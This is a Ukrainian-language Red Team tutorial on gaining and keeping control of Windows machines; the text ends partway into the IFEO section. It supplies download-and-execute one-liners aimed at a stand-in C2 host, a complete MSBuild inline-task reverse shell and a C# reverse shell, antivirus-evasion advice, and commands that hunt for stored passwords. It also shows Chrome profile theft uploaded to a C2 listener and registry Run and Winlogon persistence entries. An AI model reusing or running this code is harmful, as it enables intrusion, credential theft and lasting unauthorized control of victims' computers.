Продовжуємо цикл статей на тему Red Team. Цього разу розглянемо таку техніку як Malware Persistence,що дозволяє хакеру закріпитися у цільовій операційній системі. У цій статті розглянемо найпоширеніші шляхи та методи для встановлення персистетності в операційних системах Windows.
- Вступ. Що таке персистентність?
- Доставка і розгортання ШПЗ
- Збір даних (Reconnaissance)
- Вивантаження даних
- Закріплення в системі (Persistence)
- Закріплення через автозавантаження в реєстрі
- Закріплення через IFEO
- Закріплення через автозавантаження в планувальнику завдань (schtasks)
- Закріплення через каталог автозавантаження (AutoStartup)
- Закріплення через службу Windows
- Закріплення через Malware Resurrector
- Ескалація привілеїв
- UAC Bypass
- Експлойти Nightmare Eclipse
- Робота з користувачами (енумерація, бекдоринг, ескалація)
- WinRM ескалація
- Файли-бекдори
- Msfvenom binary
- Shortlink backdoor
- Hijacking File Association
- Віддалене адміністрування Windows
- VNC Tunnel
- RDP over SSH Reverse Tunnel
- Розгортаємо RDP-сервер
- Розгортаємо SSH-сервер
- Підключаємося по RDP через Reverse SSH Tunnel
- Як зробити аналогічний тунелінг на Linux С2?
- Додаємо RDP-тунель в автозавантаження
- Tailscale + OpenSSH
- WebDAV tunneling
- Джерела та посилання
Вступ. Що таке персистентність?
Персистентність (від. лат persisto – залишатися, англ. persistence) – це етап закріплення, який забезпечує постійний доступ до цільової системи після перезавантаження або будь-яких інших змін. Таким чином атакуючий отримує можливість повторної експлуатації. В класифікації фреймворка з кібербезпеки MITRE ATT&CK техніки закріплення маркуються під кодовою назвою TA0003.
Здатність досягати персистентності є критично важливою в розробці ШПЗ – шкідливого або шпигунського програмного забезпечення, оскільки це дозволяє контролювати систему протягом тривалого часу.
Основним критерієм стійкості є уникнення виявлення та викриття – як користувачами, так і програмними засобами, антивірусами, системами управління і реагування на інциденти (EDR/SIEM). З цієї причини ШПЗ часто використовує комбінацію методів із застосуванням різних механізмів – від зміни записів реєстру до планування завдань, які запускаються автоматично, часто у фоновому режимі, не викликаючи підозр.
Наприклад, ШПЗ може може зловживати логікою довіри, багами і вразливостями, недосконалою архітектурою безпеки операційних систем та вбудовуватись у різноманітні системні процеси, служби і легітимні додатки, що ускладнює процес виявлення.
Доставка і розгортання ШПЗ
Процес доставки ШПЗ був частково розкритий у попередніх статтях: Техніки маскування файлів, Основи роботи з RAT, Створення інфостилера з С2 у Telegram, Malware Development. Зокрема, в останній частині наводилися конкретні приклади коду ШПЗ, яке може обійти захист, саморозгортатися й самозакріплюватися в системі.

Деякі висновки та рекомендації перед початком роботи:
- Файли не мають викликати підозр – це стосується іконки, ваги, назви, метаданих (включно з vendor info);
- Файли не мають містити код (та інші елементи), який раніше був засвічений та збігається з відомими зразками шкідливого ПЗ;
- Операції з використанням легітимних, системних утиліт (LOLBins) користуються довірою збоку ОС Windows і за певних обставин можуть дозволити обійти MOTW (Mark of the Web), UAC (User Access Control), SmartScreen та інші модулі безпеки Windows.
- Windows може кидати у тимчасовий бан IP-адресу C2-сервера. У цьому випадку необхідно продумати грамотну захищену інфраструктуру з ротацією IP-адрес.
- Блокуються будь-які відомі паттерни і сигнатури ШПЗ. Якщо воно було раніше “засвічене” в інтернеті, через певний проміжок часу розпізнається Windows і блокується захисником. Тому, використовуючи лише маловідомі способи та інструменти, а у першу чергу власні криптування і обфускацію, можна досягти успіху.
- Необхідно намагатися уникати спроб збереження файлів на диску, віддаючи перевагу виконанню у пам’яті, шеллкодам та ін’єкціям (напр. з використанням MSBuild.exe, Regasm.exe, InstallUtil.exe та ін.). А також: лоадери, дроппери, криптери. Windows Defender швидко виявляє та “з’їдає” будь-яке відоме malware по сигнатурам та паттернам (IoC).
- Windows Defender блокує Netcat та інші відомі виконувані файли, які можуть використовуватися для несанкціонованого доступу або якихось маніпуляцій.
- Bitsadmin при завантаженні файлів іноді вимагає захищеного з’єднання HTTPS з валідним SSL/TLS і коректними заголовками, зокрема Range Header.
- Операції виконані у межах домашньої папки користувача (
%USERPROFILE%) викликають менше підозри, аніж ті, які виконуються за її межами (можна отримати повідомлення Access Denied – працює політика розмежування доступу). - Windows через запроваджену телеметрію активно відстежує поведінку користувача, ретельно реєструючи будь-які аномалії і підозрії дії, зокрема спроби обходу систем безпеки, виявляючи ознаки ШПЗ по своїй базі шаблонів/сигнатур, відправляючи нові зразки на повторне дослідження у свою пісочницю. Можливо тому, через певний час методи, описані у цій статті (і не тільки), можуть вже не працювати. Тому що політики безпеки та правила Windows динамічно оновлюються. Але це стосується насамперед ліцензійних продуктів з активним Windows Defender і свіжими оновленнями. На нестандартних збірках Windows, активованих через “активатори” практично усі атаки є успішними на 90%.
- Практично усі кастомні збірки Windows без Defender або інших антивірусних систем – піддавались зламу найпростішим реверс-шелом. Це “медичний” факт. За нашими спостереженнями, таких Windows-систем на пост-радянському просторі близько 70%.
- Windows 11 має дещо кращий захист, ніж Windows 10. В ній більше телеметрії і поведінкового аналізу, більше паттернів і сигнатур. Одним словом, ширша база.
- Для уникнення детекції рекомендується застосовувати криптори і шифрувати корисне навантаження. Також Windows Defender дивиться на комбінацію імпортів і поведінкових патернів. Якщо вони співпадають з відомим шкідливим ПЗ – блокується.
- Також рекомендується ставити паузу на запуск/розшифрування malware. Наприклад – 120 секунд. Іноді це може допомогти уникнути виявлення.
Деякі приклади команд завантаження і розгортання ШПЗ:
bitsadmin /transfer job /download /priority high https://c2-server.com/stub.exe "%USERPROFILE%\game.exe" && start /B "" "%USERPROFILE%\game.exe"– завантаження виконуваного PE-файлу з допомогою вбудованої службової утиліти Windows Bitsadmin і його запуск в тихому (фоновому) режимі;curl http://с2-server.com/script.txt | powershell.exe -Command "[Console]::In.ReadToEnd() | Invoke-Expression"– завантаження скрипту і передача через пайп stdin на виконання в powershell. Файл миттєво виконується в пам’яті, без зберігання на диск (обхід AV);curl -o %TEMP%\loader.exe http://X.X.X.X:XXXX/loader.exe && start /b %TEMP%\loader.exe– завантаження і виконання PE-файлу з допомогою вбудованої утиліти Windows Curl;

Приклад робочої техніки з MSBuild:
bitsadmin /transfer jon1 /download /priority high https://c2-server.com/project.proj %USERPROFILE%\project.proj && powershell -WindowStyle hidden -Command C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe %USERPROFILE%\project.proj– компіляція корисного навантаження в XML-файлі вбудованою утилітою MSBuild і його запуск.
Вміст project.proj:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build">
<ReverseShellTask />
</Target>
<UsingTask
TaskName="ReverseShellTask"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Diagnostics;
using System.Net.Sockets;
using System.IO;
using System.Text;
using System.Threading;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ReverseShellTask : Task
{
public override bool Execute()
{
// IPv6-декодування C2
string c2 = DecodeIPv6C2("підставити");
string[] parts = c2.Split(':');
string ip = parts[0];
int port = int.Parse(parts[1]);
// Реверс-шелл в окремому потоці
new Thread(() => {
try
{
TcpClient client = new TcpClient(ip, port);
NetworkStream stream = client.GetStream();
Process cmd = new Process();
cmd.StartInfo.FileName = "cmd.exe";
cmd.StartInfo.CreateNoWindow = true;
cmd.StartInfo.UseShellExecute = false;
cmd.StartInfo.RedirectStandardInput = true;
cmd.StartInfo.RedirectStandardOutput = true;
cmd.StartInfo.RedirectStandardError = true;
cmd.Start();
// Асинхронне перенаправлення потоків
AsyncCopy(cmd.StandardOutput.BaseStream, stream);
AsyncCopy(cmd.StandardError.BaseStream, stream);
AsyncCopy(stream, cmd.StandardInput.BaseStream);
cmd.WaitForExit();
}
catch { }
}).Start();
return true;
}
private void AsyncCopy(Stream source, Stream target)
{
new Thread(() => {
byte[] buffer = new byte[4096];
int read;
while ((read = source.Read(buffer, 0, buffer.Length)) > 0)
target.Write(buffer, 0, read);
}).Start();
}
private string DecodeIPv6C2(string encoded)
{
// Реальна логіка декодування IPv6
return "X.X.X.X:XXXX";
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Допоміжний Python-скрипт для IPv6-декодування C2 (результат вставляється у код вище):
python3 -c ""
ip='XXX.XXX.XX.XXX'
port=XXXXX
parts=ip.split('.')
h1='{:02X}{:02X}'.format(int(parts[0]),int(parts[1]))
h2='{:02X}{:02X}'.format(int(parts[2]),int(parts[3]))
hp='{:04X}'.format(port)
print(f'::ffff:{h1}.{h2}:{hp}:{h1}.{h2}')
" Простий реверс-шелл на С# (Windows 10/11):
using System;
using System.Diagnostics;
using System.Net.Sockets;
using System.IO;
using System.Threading;
namespace RevShell
{
class Program
{
static void Main()
{
while (true)
{
try
{
TcpClient client = new TcpClient("X.X.X.X", XXXXX);
NetworkStream stream = client.GetStream();
Process cmd = new Process();
cmd.StartInfo.FileName = "cmd.exe";
cmd.StartInfo.CreateNoWindow = true;
cmd.StartInfo.UseShellExecute = false;
cmd.StartInfo.RedirectStandardInput = true;
cmd.StartInfo.RedirectStandardOutput = true;
cmd.StartInfo.RedirectStandardError = true;
cmd.Start();
new Thread(() => {
try { byte[] b = new byte[4096]; int r; while ((r = cmd.StandardOutput.BaseStream.Read(b, 0, b.Length)) > 0) stream.Write(b, 0, r); } catch {}
}).Start();
new Thread(() => {
try { byte[] b = new byte[4096]; int r; while ((r = cmd.StandardError.BaseStream.Read(b, 0, b.Length)) > 0) stream.Write(b, 0, r); } catch {}
}).Start();
byte[] input = new byte[4096];
int read;
while ((read = stream.Read(input, 0, input.Length)) > 0)
{
cmd.StandardInput.BaseStream.Write(input, 0, read);
cmd.StandardInput.BaseStream.Flush();
}
cmd.WaitForExit();
stream.Close();
client.Close();
}
catch { }
Thread.Sleep(5000); // перепідключення кожні 5 сек
}
}
}
}
Компіляція: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:winexe /out:C:\testexp\revshell.exe C:\testexp\revshell.cs
Змінні директорій Windows:
%USERPROFILE%%APPDATA%%LOCALAPPDATA%%PROGRAMDATA%%WINDIR%%TMP%або%TEMP%%PROGRAMFILES(X86)%%PROGRAMFILES%%SYSTEMROOT%
Збір даних (Reconnaissance)
Отже, ви проникли в систему. Перед тим як починати закріплюватися, слід уважно проаналізувати систему, дізнатись які права у поточного користувача, які типи облікових записів присутні в системі та багато іншого. Нижче перелік команд для комплексного збору даних.
Інформація про систему:
systeminfo– загальна інформація про систему;systeminfo | findstr /B /C:"OS Name" /C:"OS Version"– вивід окремих даних з системної інформації;hostname– хост-ім’я комп’ютера;ver– отримати версію збірки операційної системи;set– отримати список системних шляхів для виконання;driverquery– вивести список встановлених драйверів в системі.
Аналіз користувачів і привілеїв:
whoami– виведе ім’я поточного користувача;whoami /user– назва та SID облікового запису користувача;whoami /all– розгорнута інформація по користувача;whoami /priv– список привілеїв користувача, якщо є SeImpersonatePrivilege, SeDebugPrivilege, SeBackupPrivilege тощо — можна ескалувати (наприклад, через Potato атаки);whoami /groups– список груп користувача, якщо там є Medium Mandatory Level, то деякі команди потребуватимуть схвалення UAC. І навпаки High Mandatory Level дає високі права на виконання без UAC;cd %appdata% && whoami– показує користувачів, які можуть виконувати команди у даній директорії;net user– виводить список всіх користувачів системи;net localgroup– показує список всіх локальних груп;net accounts– показує налаштування облікових записів, наприклад довжина паролів і т.п.;net user /<domain>– виводить список користувачів у конкретному домені;net localgroup Administrators– покаже список облікових записів, які входять в групу адміністраторів;net user Administrator– перевірити статус користувача;cmdkey /list– покаже облікові дані, якщо вони були збережені;quser– залогінені користувачі;net accounts– політика паролів.net group
Аналіз прав:
icacls C:\Users\*– права на папки користувачів;icacls "C:\Windows\System32\OpenSSH\sshd.exe"– перевірити права власності на заданий файл;icacls "C:\Program Files\*" /T– показує права на папки додатків у заданій директорії;icacls "C:\ProgramData\*"– права на ProgramData;sc sdshow sshd– перевірити права на конфігурацію заданого сервісу;icacls C:\Windows\System32\config\SAMicacls C:\Windows\System32\config\SYSTEM
Аналіз реєстру:
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"– список сторонніх додатків в автозавантаженні;reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run– список системних автозавантажень;reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA– конфігурація UAC;reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin– аналіз UAC;reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /sreg query "HKLM\SOFTWARE\Microsoft\AMSI\Providers" /sreg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v CachedLogonsCount– скільки логінів кешовано;reg query "HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions" /sreg query "HKCU\Software\SimonTatham\PuTTY\SshHostKeys"reg query "HKCU\Software\OpenSSH\Agent\Keys"reg query "HKCU\Software\TightVNC\Server"reg query "HKCU\Software\ORL\WinVNC3"reg query "HKCU\Software\OpenVPN-GUI\configs"
Аналіз завдань:
schtasks /query /fo LIST /v– список запланованих завдань;schtasks /query /fo LIST /v | findstr "Task To Run"– заплановані завдання;schtasks /query /fo LIST /v | findstr "Run As User"– завдання від різних користувачів;
Аналіз процесів:
tasklist– список всіх активних процесів;tasklist /fi "imagename eq svchost.exe"– проаналізувати процеси вказаного виконуваного додатка;tasklist /v /fo list– детальна інформація по процесам;tasklist /v /fi "username eq system"– аналіз процесів SYSTEM;tasklist | findstr processname– пошук процесів;tasklist /v– детальний вивід по списку процесів;tasklist /v | findstr /i "high system"– перевірити чи є процеси з високими правами;taskkill /PID 567– убити завдання під вказаним номером.
Аналіз системних служб, додатків, сервісів:
sc query type= service state= all | findstr SERVICE_NAME– список системних служб;sc qc sshd– перевірка деталей служби, під ким працює, системний шлях і т.д.;get-mppreference– інформація про Windows Defender;wmic service get name,startname | findstr /i /v "LocalSystem|NT AUTHORITY"– знайти сервіси по заданій групі;driverquery /v– список драйверів з їх розташуванням;manage-bde -status– статус шифрування BitLocker, дані накопичувача;bcdedit /enum {current}– аналіз Windows Boot Loader;wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName,productState– антивірус.
Аналіз інтернет-мережі:
ipconfig– аналіз мережі;ipconfig /all– повний аналіз мережевих адаптерів, інтерфейсів;ipconfig /flushdns– очистити кеш DNS;ipconfig /displaydns– показати кеш DNS;arp -a– вивід ARP-таблиці;netstat -ano– показує всі активні мережеві порти;netstat -an | findstr XXXX– перевірка стану портів;netstat -anop tcp– показати список TCP-з’єднань;netstat -anop udp– показати список UDP-з’єднань;netstat -abon– вивести повну інформацію по мережевим з’єднанням;route print– показує таблицю маршрутизації;route delete– видаляє маршрут;route add– додає маршрут;nslookup 127.0.0.1– показує DNS локального комп’ютера;nslookup example.com– отримати сервери імен (NS) для вказаного домена;nslookup examaple.com 1.1.1.1– отримати NS для вказаного домена використовуючи DNS-сервер Cloudflare;getmac– отримати MAC-адреси мережевих пристроїв;wmic nic get name, netconnectionid– показати TAP-адаптери;netsh wlan show profiles– Wi-Fi профілі;netsh wlan show profile name="<name>" key=clear– аналіз вказаного профілю Wi-Fi, показ пароля;netsh advfirewall show allprofiles– аналіз профілю фаєрвола;net share– спільні мережеві папки;qwinsta– активні RDP-сесії;ping <host>– перевірка з’єднання;tracert <host>– показує маршрут через який проходять пакети до заданого хосту.
Робота з файлами і папками:
mkdir directory– створити папку з ім’ям directory;rmdir directory– вилучає названу папку;tree c:\users– відображає папку в графічно-текстовому структурному дереві каталогів;copy c:\usesr\windows10\test.txt c:\ProgramData– копіює зазначений файл в іншу директорію;move c:\tools c:\temp– переміщай файли й змінює ім’я файлів та папок;type test.txt– відображає зміст файлів (аналог cat);dir /a– показати приховані файли в директорії;dir /s– показати файли в поточній директорії та всіх підпапках;erase text.txt– видалити файл;del text.txt– видалити файл;
Дані інтернет-браузерів:
dir %LOCALAPPDATA%dir "%LOCALAPPDATA%\Microsoft\Edge\User Data"– пошук локальних даних браузера Microsoft Edge.dir "%LOCALAPPDATA%\Google\Chrome\User Data"– пошук локальних даних браузера Google Chrome.dir "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data"– пошук локальних даних браузера Brave.dir "%LOCALAPPDATA%\Yandex\YandexBrowser\User Data"– пошук локальних даних браузера Yandex.dir "%LOCALAPPDATA%\librewolf\Profiles"– пошук локальних даних браузера Librewolf.
Інформація про додатки:
dir %APPDATA%dir "C:\Program Files"dir "C:\Program Files (x86)"reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /v DisplayNamereg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" /s /v DisplayNamereg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s /v DisplayNamewmic product get name,version– список встановленого ПЗ в системі.wmic qfe list– список встановлених патчів/оновлень Windows (hotfixes).echo %PATH%– аналіз системних шляхів службових додатків.
Користувацькі папки:
dir %USERPROFILE%dir %USERPROFILE%\Documentsdir %USERPROFILE%\Downloadsdir %USERPROFILE%\Desktopdir %USERPROFILE%\Picturesdir %USERPROFILE%\Videos
Пошук/аналіз цікавих файлів та директорій:
type C:\Windows\System32\drivers\etc\hosts– вивід вмісту системного файлу /etc/hosts;dir C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe– перевірка розташування і наявності PowerShell;dir C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe– легітимний компілятор від Microsoft (.NET Framework), який є на кожній Windows з встановленим .NET. Він є в списку довірених (LOLBIN — Living Off the Land Binary);dir C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exedir C:\Users– домашні папки користувачів системи;where /r C:\ ssh-keygen.exewhere /r C:\ ssh.exedir /a %APPDATA%\Microsoft\Protectdir /a %APPDATA%\Microsoft\Credentialsfindstr /s /i cpassword \\%USERDNSDOMAIN%\SYSVOL\*.xmltype %APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt– історія PowerShell-консолі;dir /s /b C:\unattend.xml C:\sysprep.xml C:\Windows\Panther\unattend.xml– файли unnattend.xml;dir "%LOCALAPPDATA%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings"dir "%LOCALAPPDATA%\Packages\Microsoft.MicrosoftStickyNotes*\LocalState\plum.sqlite"– Sticky Notes;where wsl.exe– пошук WSL;for /R C:\Users %f in (*.xml *.ini *.txt *.config *.conf *.cfg *.yml *.log) do @findstr /I /M /C:"password" /C:"passwd" /C:"secret" /C:"apikey" /C:"token" "%f" 2>nulfindstr /S /I /M /C:"password" /C:"passwd" C:\Users\Admin\*.*findstr /S /I /M /C:"password" /C:"passwd" C:\Tools\*.* C:\Scripts\*.* C:\Temp\*.*findstr /S /I /M /C:"password" /C:"connectionString" C:\inetpub\*.config C:\inetpub\*.xmlfindstr /S /I /M /C:"password" C:\xampp\*.conf C:\xampp\*.ini C:\wamp\*.conf
Збір даних з допомогою WMI:
wmic process get CSName,Description,ExecutablePath,ProcessId– список процесів;wmic useraccount list full– список облікових записів;wmic group list full– список груп;wmic netuse list full– список мережевих з’єднань;wmic qfe get Caption,Description,HotFixID,InstalledOn– список встановлених оновлень;wmic startup get Caption,Command,Location,User– список додатків в автозапуску.
Інші операції:
shutdown /s /f /t 0– вимкнути систему негайно (без очікування завершення процесів);shutdown /r /f /t 0– перезапустити систему негайно.setx PATH "%PATH%;C:\Program Files (x86)\Nmap" /M– додати шлях розташування додатка в середовище змінних Windows.
Корисні команди PowerShell:
powershell -ep bypass– перейти в оболонку powershell (не виходячи з поточної сесії cmd);C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass– те саме, якщо попередня команда не спрацювала;powershell Start-Process powershell -Verb RunAs– відкрити нове вікно PowerShell з права адміміністратора (потрібно схвалити UAC);Start-Process <command> -Verb runAs– запуск команд в PowerShell від імені адміністратора;Set-ExecutionPolicy RemoteSigned -Scope CurrentUser– дозволити виконання скриптів .ps1 в PowerShell;Start-Process "GoogleUpdate.exe" -WindowStyle Hidden– запуск через PowerShell з прихованням вікна;Get-СomputerInfo– інформація про систему;Get-LocalUser– переглянути список локальних користувачів;$env:Path– перегляд системних шляхів;Get-Clipboard– отримати дані з буферу обміну;Get-Location– показує повний шлях до поточної директорії (аналог pwd);Get-Process– вивести список усіх запущених процесів;Get-Process -Name chrome– знайти процеси за вказаним фільтром;Get-Process | Out-Gridview– переглянути результати виводу у зручному графічному вікні;Get-Service– показує усі сервіси в системі;Get-Service BITS– інформація по вказаному сервісу;Get-Service | Export-Csv result.csv– створити файл з виводом заданої команди;Get-Service | Where-Object -Property Status -eq Stopped– вивести список зупинених сервісів;Get-ScheduledTask– показати список запланованих завдань;Get-HotFix– отримати список встановлених в системі оновлень (патчів);Get-HotFix | OutFile hotfix.txt– вивести вміст команди у файл;Get-Content result.csv– вивести вміст файлу у командному рядку (аналог cat/type);Get-NetIPConfiguration– інформація про мережу;Get-NetIPAddress– IP-адреси мережевих інтерфейсів;Get-NetTCPConnection– показати усі TCP-з’єднання;Get-NetTCPConnection | Where-Object State -eq “Listen” | Measure-Object– пошук прослуховуваних портів;Get-NetDomainController– інформація по контролеру домену;Get-NetUser– вивести список користувачів домену;Get-NetComputer– eнумерація систем, підключених до домену;Get-NetGroup– енумерація груп домену;Get-NetGroupMember "Domain Admins"– перерахувати членів вказаної групи;Get-NetGPO– енумерація групових політик домену;Get-NetDomainTrust– вивести список усіх доменів, до яких ви маєте доступ;Find-LocalAdminAccess– вивести список систем, до яких ви маєте доступ локального Адміністратора;Find-DomainShare– розшарені ресурси;ps | Sort-Object WorkingSet -Descending | Select-Object -First 5– показати топ-5 процесів, які найбільше споживають пам’яті;Get-FileHash .\file.iso– порахувати хеш SHA-256 для файлу;Get-FileHash .\file.iso -Algorithm MD5– порахувати MD-5 для файлу;(Get-Item .\file.iso).CreationTime.Year– отримати рік створення файлу;Get-Item -Path "C:\House\house_log.txt" -Stream *– переглянути усі альтернативні потоки даних (ADS) для заданого файлу;Get-Content -Stream Zone.Identifier .\file.iso– аналіз Mark of The Web (MOTW) файлу через PowerShell;[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("SGVsbG8gQXJjaCBMaW51eCE="))– дешифрування тексту з Base64;(Invoke-WebRequest -Uri "https://ifconfig.me/ip").Content– зробити запит до вказаного URL;Get-Content access.log -Wait– переглядати вміст файлу в режимі онлайн, наприклад читання логів (аналог tail -f в Linux);(New-Object System.Net.WebClient).Downloadfile('http://example.com/file.txt', 'file.txt')– завантажити файл з інтернету;Invoke-WebRequest -Uri "https://www.7-zip.org/a/7zr.exe" -OutFile "C:\Users\windows\7z.exe"– завантажити файл за вказаним посиланням та зберегти у задану папку із вказаним ім’ям;Invoke-WebRequest -Uri "http://www.7-zip.org/a/7zr.exe" -OutFile "C:\Users\windows\7z.exe" -UserAgent "Mozilla" -UseBasicParsing– завантажити і зберегти файл із застосуванням вказаного user-agent;powershell -Command "Expand-Archive -Path 'C:\Users\Public\file.zip' -DestinationPath 'C:\Users\Public' -Force"– розпакувати zip-архів;powershell -ExecutionPolicy Bypass -File .\file.ps1– обійти політику безпеки щодо виконання файлу;Set-ExecutionPolicy Bypass -Scope Process– ще один спосіб як вимкнути політику безпеки виконання файлів в Powershell;dir | Format-List *– отримати якомога більше відомостей про файли у папці;1..1024 | %{ echo ((New-Object Net.Sockets.TcpClient).Connect("10.0.2.8", $_)) "Open port on - $_"} 2>$null– просканувати діапазон портів на вказаній IP-адресі через TCP-сокет;1..15 | %{echo "10.0.2.$_"; ping -n 1 10.0.2.$_ | Select-String ttl} 10.0.2.1– пропінгувати заданий діапазон IP-адрес;Get-ChildItem C:\ -Recurse -Filter "*bak*"– рекурсивний пошук файлів резервних копій;Get-ChildItem C:\ -Recurse | Select-String -Pattern “API_KEY”– реурсивний пошук файлів, що містять рядок API_KEY.exit– вийти з сесії і закрити вікно PowerShell.
Робота зі службами:
- # зупинка служб
net stop "service"
net stop "OpenVPNServiceInteractive"
net stop "OpenVPNServiceLegacy" - # виключення автозапуску служб
sc config "OpenVPNService" start= disabled
sc config "OpenVPNServiceInteractive" start= disabled
sc config "OpenVPNServiceLegacy" start= disabled - # видалення служб
sc delete "OpenVPNServiceInteractive"
sc delete "OpenVPNServiceLegacy" - # включення і налаштування служб
sc config "OpenVPNService" start= auto
net start OpenVPNService
Також раджу ознайомитись з публікаціями:
Вивантаження даних
Зібрані дані можна вивантажити на C2-сервер. Нижче подається простий приклад.
Копіюємо і створюємо архів:
robocopy "C:\Users\username\AppData\Local\Google\Chrome\User Data\Default" "%TEMP%\chrome_tmp" /E /XD Cache /R:0 /W:0tar -C "%TEMP%\chrome_tmp" -cf "%TEMP%\chrome_data.tar" .
або
powershell -Command "Compress-Archive -Path \"$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Network\*\" -DestinationPath \"$env:TEMP\network.zip\" -Force"
Піднімаємо на C2-сервері прийом файлів на публічному порту:
nc -l -p XXXXX > chrome_data.tar
або (рекомендовано):
python3 -c "
import http.server, socketserver
class Handler(http.server.SimpleHTTPRequestHandler):
def do_PUT(self):
length = int(self.headers['Content-Length'])
with open('chrome_data.tar', 'wb') as f:
f.write(self.rfile.read(length))
self.send_response(200)
self.end_headers()
httpd = socketserver.TCPServer(('0.0.0.0', 65331), Handler)
httpd.serve_forever()
" На цільовій машині запускаємо відправку даних на C2:
curl -T "%TEMP%\chrome_data.tar" http://X.X.X.X:XXXXX/upload --connect-timeout 10 --max-time 60
Потрібно дочекатися завершення процесу пересилання. Файл повинен опинитися на вашому сервері.
Закріплення в системі (Persistence)
Для подальших досліджень, аби ШПЗ підтримував постійний з’язок з С2, навіть після обриву активного з’єднання, необхідно досягнути стійкості в системі.
Нижче пропонуються різні способи як саме цього досягти.
Закріплення через автозавантаження в реєстрі
Реєстр Windows (Windows Registry) – це ієрархічна структурована база даних, у якій містять усі налаштування та параметри операційної системи. Реєстр був створений з метою систематизації інформації, раніше розміщеної в багатьох файлах з розширенням INI, введення якого в реєстр дозволило створити єдиний механізм для запису та читання налаштувань, а також усунути проблеми, пов’язані з файловою системою FAT16. Ця система зрештою поступилася місцем більш ефективній NTFS, однак реєстр залишається важливим завдяки підтримці зворотної сумісності і залишається невід’ємною частиною всіх версій операційної системи Windows.
В реєстрі Windows існує щонайменше 4 гілок, яківідповідають за автоматичний запуск процесів при входу користувача в систему:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run– запуск під час входу поточного користувача ОС;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run– запуск під час входу будь-якого користувача ОС;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce– одноразовий запуск під час входу поточного користувача, а потім видалення запису в реєстрі;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce– запуску під час будь-якого користувача, а потім видалення запису в реєстрі.
Переглянути ці гілки можна у системному редакторі реєстру, виконавши команду – regedit.
Підказка: Додавання записів у гілку реєстру поточного користувача HKCU не вимагають прав Адміністратора. Тим часом як записи для HKLM додаються тільки Адміністратором.
Для забезпечення персистентності у HKCU ми можемо додати такі команди:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdater" /t REG_SZ /d "C:\Users\username\games.exe" /f– запускає виконуваний файл при кожному логіні користувача;reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"– перевірити активні автозавантаження;reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdater" /f– видалити вказаний запис із автозавантаження.
Можна також додати запис реєстру в WinLogon – компонент Windows, який відповідає за процес входу користувача в систему. За автозавантаження в ньому відповідають ключі Userinit та Shell.
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit– перегляд запису.reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, malware.exe" /f– додавання шкідливого виконуваного файлу.reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shellreg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, malware.exe" /f
Ще одним способом закріплення є створення змінної UserInitMprLogonScript в гілці HKCU\Environment:
Інші шляхи реєстру для виконання корисних навантажень:
HKLM\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunHKCU\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce
Для комплексної перевірки усіх записів реєстру (не тільки HKCU/HKLM) з автозавантаженням зручно користуватись модулем PowerShell – AutoRuns. Одна з його команд:
Get-PSAutorun | Out-GridView
Закріплення через IFEO
IFEO розшифровується як Image File Execution Options – це функція реєстру Windows, орієнтована на розробників, призначена для автоматизації налагодження додатків. Таким чином, відкривається можливість через додаткові записи реєстру прописати паралельне виконання тих чи інших двійкових exe-файлів, тобто шкідливого навантаження. IFEO гарантує, що воно запускатиметься щоразу, коли запускається вказаний додаток.
Для прикладу, візьмемо Notepad.exe:
